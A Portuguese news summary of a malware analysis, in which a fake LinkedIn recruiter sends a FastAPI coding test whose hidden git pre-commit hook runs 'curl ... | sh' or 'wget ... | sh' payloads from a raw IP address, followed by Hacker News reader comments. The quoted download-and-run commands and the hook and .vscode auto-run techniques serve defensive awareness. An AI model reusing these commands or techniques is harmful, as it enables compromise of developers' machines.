2 pontos por GN⁺ 2 시간 전 | 1 comentários | Compartilhar no WhatsApp
  • Um falso recrutador no LinkedIn ofereceu uma vaga remota de desenvolvedor Python por US$ 10.000 a 15.000 por mês e enviou um arquivo ZIP disfarçado de teste normal em FastAPI, configurado para instalar malware durante o fluxo de trabalho com Git
  • O repositório tinha um hook pre-commit oculto em .git/hooks, que executava silenciosamente payloads remotos específicos para cada sistema operacional; as tarefas de Git no PDF do desafio serviam para induzir o candidato a acioná-lo
  • O payload para Linux baixava um script de segunda etapa em ~/Documents, executava-o com nohup e então instalava Node.js, dependências e o parser.js ofuscado para rodar em segundo plano
  • Alterar o valor id=402 nas requisições fazia outro script ser retornado; o package.json incluía clipboardy para acesso à área de transferência e o ambiente de desenvolvimento Ethereum hardhat, entre outros, mas o objetivo final não foi confirmado
  • O invasor apenas acrescentou diretórios maliciosos a um repositório FastAPI público; outra variante executava comandos só de abrir a pasta no VSCode. Antes de lidar com projetos externos, é preciso verificar diretórios ocultos e configurações de execução automática

Uma oferta de emprego boa demais

  • A oferta para desenvolvedor Python recebida pelo LinkedIn era para um contrato remoto-first, com possibilidade de efetivação, pagando US$ 10.000 a 15.000 por mês
  • O alto salário foi revelado antes mesmo de uma conversa, e o valor elevado para os padrões da Índia foi o primeiro sinal de alerta
  • A empresa usada no recrutamento foi confirmada como uma startup da Y Combinator, mas ficou a suspeita de que uma empresa com esse orçamento normalmente teria um processo seletivo mais estruturado
  • Após enviar o currículo, a aprovação veio imediatamente, e foram recebidos via Google Drive um arquivo ZIP e um PDF com as instruções do desafio
  • O PDF pedia melhorias em uma base de código existente, sugestões de arquitetura e tarefas com Git, parecendo à primeira vista um documento de avaliação normal

Hook Git escondido em um projeto FastAPI

  • O arquivo compactado continha um backend FastAPI comum usando SQLAlchemy, e o requirements.txt não apresentava typosquatting nem pacotes obviamente maliciosos
  • Ao executar tree -a para verificar itens ocultos, havia vários hooks Git já configurados em .git/hooks
  • O script pre-commit identificava o sistema operacional com uname -s e baixava e executava um payload específico para a plataforma a partir do mesmo servidor
    • No macOS, executava curl .../task/mac?id=402 | sh
    • No Linux, executava wget .../task/linux?id=402 | sh
    • Em sistemas Windows, executava curl .../task/windows?id=402 | cmd
  • Toda a saída era enviada para /dev/null, e o processo rodava em segundo plano para ocultar do usuário os vestígios da execução
  • O uso direto do endereço IP bruto 45.61.164.38:5777, em vez de um domínio, tornou o comportamento malicioso mais evidente

Payload em múltiplas etapas no Linux

  • O primeiro script para Linux baixava tokenlinux.npl em ~/Documents, renomeava-o para tokenlinux.sh e concedia permissão de execução
  • Em seguida, executava o script em segundo plano com nohup bash, fazendo o processo continuar ativo mesmo após fechar o terminal ou encerrar a sessão
  • O script de segunda etapa realizava silenciosamente as seguintes ações
    • Instalação do Node.js e configuração do caminho do sistema
    • Download de parser.js e package.json
    • Instalação das dependências npm necessárias
    • Execução de parser.js com nohup node, registrando logs em parser.log
  • O parser.js estava tão fortemente ofuscado que era difícil analisá-lo manualmente, e o arquivo original foi preservado em parser.js

Possível identificação por vítima

  • O parâmetro id=402 era enviado repetidamente aos endpoints, e alterar esse valor retornava um script completamente diferente
  • É possível que o invasor atribuísse identificadores únicos a cada candidato para fornecer payloads personalizados, mas o método real de rastreamento não foi confirmado
  • Para desofuscação, o código foi enviado a vários LLMs, mas os resultados divergiram
    • O Claude recusou a análise por causa das restrições de segurança
    • O Gemini forneceu os resultados da análise do script
  • Ao pesquisar a extensão original tokenlinux.npl, foi confirmada sua relação com uma campanha de ataque mais ampla

Dependências Node.js suspeitas

  • O nome do projeto no package.json era tokendapp e incluía hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request e outros
  • Não estava claro por que um processo de configuração em segundo plano precisaria do clipboardy para acesso à área de transferência e de pacotes relacionados ao sistema de arquivos
  • hardhat é um ambiente de desenvolvimento Ethereum, mas, como o Ethereum migrou do modelo de prova de trabalho, é difícil classificá-lo como uma configuração comum de mineração
  • Também foi considerada a possibilidade de procurar carteiras de criptomoedas ou interagir com extensões locais de navegador, mas o objetivo malicioso final não foi confirmado

Outra variante usando VSCode

  • Outra variante do mesmo ataque ocultava uma pasta .vscode dentro do arquivo ZIP e a configurava para executar comandos quando o diretório fosse aberto no VSCode
  • Com esse método, a infecção poderia ocorrer apenas ao abrir a pasta, sem executar comandos Git nem código do projeto diretamente
  • Confirmou-se que a empresa específica não estava diretamente envolvida no ataque; o invasor apenas usou o nome de uma empresa encontrada para fazer a oferta de emprego parecer legítima

Disfarce com reutilização de repositório público

  • O git log não continha um projeto criado pelo invasor, mas preservava o histórico de commits de desenvolvedores existentes
  • O original era o repositório público personal-finance-service
  • O invasor clonou um projeto FastAPI legítimo e acrescentou apenas diretórios ocultos maliciosos, disfarçando-o como uma base de código para o desafio
  • A estrutura permitia que o comportamento malicioso passasse despercebido caso fossem revisados apenas o código legítimo e o requirements.txt limpo

Investigação do servidor de ataque e limitações

  • Uma varredura com Nmap no servidor de ataque encontrou três portas abertas, das quais duas não responderam à detecção de versão
  • Na porta 22, estava em execução o OpenSSH 9.6p1 no Ubuntu
  • No momento da varredura, essa versão havia sido lançada havia pouco mais de uma semana, e não foram encontradas CVEs conhecidas exploráveis, dificultando a ampliação da investigação para o interior do servidor
  • Embora o método de distribuição do malware fosse chamativo, a segurança operacional do servidor parecia relativamente bem mantida, e o rastreamento parou nesse ponto

O papel das tarefas de Git

  • As tarefas de Git no PDF do desafio serviam para fazer o candidato executar pelo menos um comando Git e, assim, acionar o hook pré-instalado
  • O falso recrutador parece ter excluído a conta do LinkedIn logo após receber a mensagem de que o ataque havia sido descoberto
  • Antes de executar projetos desconhecidos ou comandos Git, é preciso verificar diretórios ocultos e configurações de execução automática, como .git e .vscode, com ferramentas como tree -a

1 comentários

 
GN⁺ 2 시간 전
Opiniões no Hacker News
  • Só depois de ler este texto percebi que fui hackeado de uma forma muito mais sofisticada
    Algumas semanas atrás, fiz uma entrevista com o CTO de uma empresa real. Ele estava com a câmera desligada e tinha um sotaque forte, mas a entrevista soou natural e ele entendia bem da parte técnica. Na entrevista técnica, disseram que eu precisava modificar um projeto open source da empresa e me pediram para clonar o repositório e verificar o ambiente de desenvolvimento
    Depois disso, a pessoa de RH disse que a entrevista havia sido adiada porque o CTO estava doente e, alguns dias depois, o perfil dessa pessoa no LinkedIn também foi apagado. Depois de ver este texto, fui verificar e descobri que o repositório que eu havia clonado e executado durante a entrevista continha um payload de malware
    Acho que virei alvo porque, no passado, mantive um pacote NPM com mais de 43 milhões de downloads semanais. Eu vinha usando autenticação em dois fatores em todas as contas e publicando os pacotes NPM manualmente, sem tokens, mas agora vou precisar zerar o laptop e reinstalar tudo

    • Conferindo a agenda, vi que foi uma entrevista de 45 minutos marcada pelo Calendly, e de fato conversei por 45 minutos com uma pessoa que se passava pelo CTO por meio do link enviado pelo RH
      Procurei posts parecidos no HN, mas não encontrei nenhum relato de alguém que chegou a fazer uma chamada no Google Meet com o golpista
    • Eu recuso pedidos para simplesmente clonar projetos aleatórios. Como desenvolvedor Rails, consigo criar a estrutura de uma aplicação inteira em poucos minutos, então digo que, se me passarem os requisitos, implemento tudo do zero
      Uma empresa séria levaria isso em consideração; se recusar, pelo menos escapei de um risco. Como hoje usamos LLMs amplamente para gerar código, acho que isso deveria ser possível em qualquer stack
    • Nesse tipo de ambiente, parece necessário usar um VS Code isolado em contêiner
    • É estranho pensar que uso as mesmas redes sociais que pessoas que podem ser alvo de ataques direcionados. Para alguém comum como eu, só chegam golpes de “giros grátis” ou de “bilionário alemão moribundo”; o assunto de e-mail mais marcante que já recebi foi “desculpa por estragar sua vagina”
  • Parece que aumentaram recentemente os ataques vindos da Coreia do Norte contra desenvolvedores. Além dessas táticas que existem há anos, recebo cerca de uma vez por semana e-mails de hackers norte-coreanos dizendo “vi seu perfil, quer colaborar?”
    Em comunidades de programação no Discord também há muitas contas que, poucos dias depois de entrar, pedem emprego ou colaboração. Podem até ser candidatos reais, mas o volume e a semelhança das mensagens são suspeitos; como eles aparecem até em comunidades de bibliotecas Python pouco populares e quase sem atividade, parece que estão raspando listas de comunidades no Discord e abordando pessoas indiscriminadamente
    Como há cada vez mais ataques que exploram a confiança entre as pessoas, é preciso fazer como nossos pais diziam: não confiar em estranhos na internet

    • Agora, com LLMs gerando conversas básicas naturais, também ficou mais difícil filtrar bots imediatamente como antes
  • A técnica de verificar o sistema operacional da vítima e então executar escondido um payload remoto tem se repetido; no mês passado, um post parecido também chegou à primeira página
    https://news.ycombinator.com/item?id=48546294

    • O texto original também diz isso explicitamente e linka resultados do Google mostrando a mesma coisa
  • Um endereço IP bruto dá uma forte impressão de malware, mas uma vítima que investigou a ponto de conferir o conteúdo do hook provavelmente também não pararia de suspeitar ali. A maioria dos desenvolvedores provavelmente não imagina que git commit pode executar ações maliciosas; fico me perguntando se isso é uma falha de segurança do Git

    • Só clonar um repositório não ativa automaticamente os hooks do Git. Mas, neste caso, não foi um clone: era um projeto baixado, então a situação é diferente
    • Seja qual for a ferramenta, executar código baixado que não foi revisado em si já é perigoso hoje
  • O que ficou foi apenas que, por causa de todos os tipos de salvaguardas, o Claude foi completamente inútil como ajudante

  • O uso de IP bruto pode ter sido para não deixar informações de identidade em um registrador de domínio ou para minimizar rastros online

    • Por isso, parece que endereços IP brutos são frequentemente associados a atividades suspeitas
    • Esses hosts também podem ser sistemas infectados por malware e atualmente abusados como proxies
  • A maioria das capturas de tela não abria diretamente, então precisei vê-las em uma nova aba
    Esse golpe é bastante sofisticado e provavelmente muitos candidatos a emprego já caíram nele; o projeto do Visual Studio Code mencionado no texto parece ainda mais perigoso. Se apenas abrir o projeto executa código do usuário, isso é claramente um vetor de malware e precisa de mitigação de segurança
    A resposta dos sites de recrutamento também é insuficiente. Se alguém afirma pertencer a uma empresa ou instituição, deveriam exigir comprovação de vínculo empregatício; só de exibir um grande aviso em mensagens de contas não verificadas, muitos golpes já ficariam mais difíceis. Hoje, qualquer pessoa pode alegar experiência profissional ou formação em qualquer empresa

    • Parece que a Microsoft esqueceu a história dos malwares em macros do Word e do Excel que eram executados automaticamente ao abrir documentos
    • Como todas as imagens estão hospedadas no GitHub Pages, talvez seja preciso usar uma CDN separada
  • É bom ver um post sobre hacking de verdade chegando à primeira página do Hacker News

    • “Hacker” no Hacker News tem outro sentido
      http://www.catb.org/jargon/html/H/hacker.html
      Refere-se a uma pessoa que explora os detalhes e limites de sistemas programáveis e que sente prazer especialmente em entender profundamente o funcionamento interno de computadores e redes. Também significa alguém que programa com entusiasmo, às vezes de forma obstinada, em vez de ficar apenas na teoria
  • Se o LinkedIn levasse a sério a prevenção de fraudes, poderia oferecer verificação por e-mail corporativo ao informar o emprego atual. Se tornar isso obrigatório for pesado demais, pelo menos poderiam permitir que recrutadores que queiram demonstrar legitimidade se verifiquem opcionalmente

    • O LinkedIn já adicionou esse recurso em 2023 (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Mas pouca gente realmente faz a verificação por e-mail, então a ausência dela não significa necessariamente que seja falso
    • Eu e meus amigos passamos alguns anos usando perfis falsos para atrair recrutadores e empresas e entender quais vagas estavam abertas e que candidatos estavam procurando. Isso foi especialmente útil para distinguir empresas e recrutadores legítimos de golpistas quando houve a explosão dos frameworks JavaScript
      Imagino que algo parecido esteja acontecendo agora mirando o mercado de recrutamento em IA e a demanda por LLMs e automação
  • Esse tipo de ataque tende a ficar cada vez mais comum. Os invasores pesquisaram muito bem e a tática é cruel, mas a qualidade técnica é digna de reconhecimento; acho que a taxa real de sucesso deve ser bem alta

    • O processo de investigar por dentro foi divertido como um desafio de CTF. Teria sido ainda mais interessante se houvesse uma vulnerabilidade no servidor dos atacantes
    • A habilidade deles pode simplesmente ter sido emprestada de LLMs